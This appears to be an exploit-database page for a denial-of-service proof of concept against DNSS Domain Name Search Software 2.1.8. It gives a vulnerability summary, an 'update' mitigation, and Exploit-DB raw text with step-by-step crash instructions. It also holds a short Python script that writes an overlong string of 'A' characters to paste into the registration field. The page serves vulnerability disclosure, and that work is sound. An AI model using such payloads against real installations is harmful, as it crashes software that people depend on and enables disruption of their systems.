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vendor:
DNSS Domain Name Search Software
by:
Victor Mondragón
7.5
CVSS
HIGH
Denial of Service
400
CWE
Product Name: DNSS Domain Name Search Software
Affected Version From: 2.1.8
Affected Version To: 2.1.8
Patch Exists: Yes
Related CWE: N/A
CPE: a:nsauditor:dnss_domain_name_search_software
Metasploit: N/A
Other Scripts: N/A
Platforms Tested: Windows Windows 10 Single Language x64 / 7 x64 Service Pack 1
2019

DNSS Domain Name Search Software 2.1.8 – Denial of Service (PoC)

A denial of service vulnerability exists in DNSS Domain Name Search Software 2.1.8 when a maliciously crafted registration code is entered into the application. An attacker can leverage this vulnerability to crash the application, resulting in a denial of service condition.

Mitigation:

Users should update to the latest version of DNSS Domain Name Search Software.
Source

Exploit-DB raw data:

#Exploit Title: DNSS Domain Name Search Software 2.1.8 -  Denial of Service (PoC)
#Discovery by: Victor Mondragón
#Discovery Date: 2019-05-12
#Vendor Homepage: www.nsauditor.com 
#Software Link: http://www.nsauditor.com/downloads/dnss_setup.exe
#Tested Version: 2.1.8
#Tested on: Windows Windows 10 Single Language x64 / 7 x64 Service Pack 1

#Steps to produce the crash:
#1.- Run python code: DNSS_2.1.8.py
#2.- Open DNSS.txt and copy content to clipboard
#3.- Open Dnss
#4.- Select "Register" > "Enter Registration Code..."
#5.- In "Name/Key" paste Clipboard
#6.- Click "Ok"
#7.- Crarshed
 
cod = "\x41" * 300
 
f = open('DNSS.txt', 'w')
f.write(cod)
f.close()

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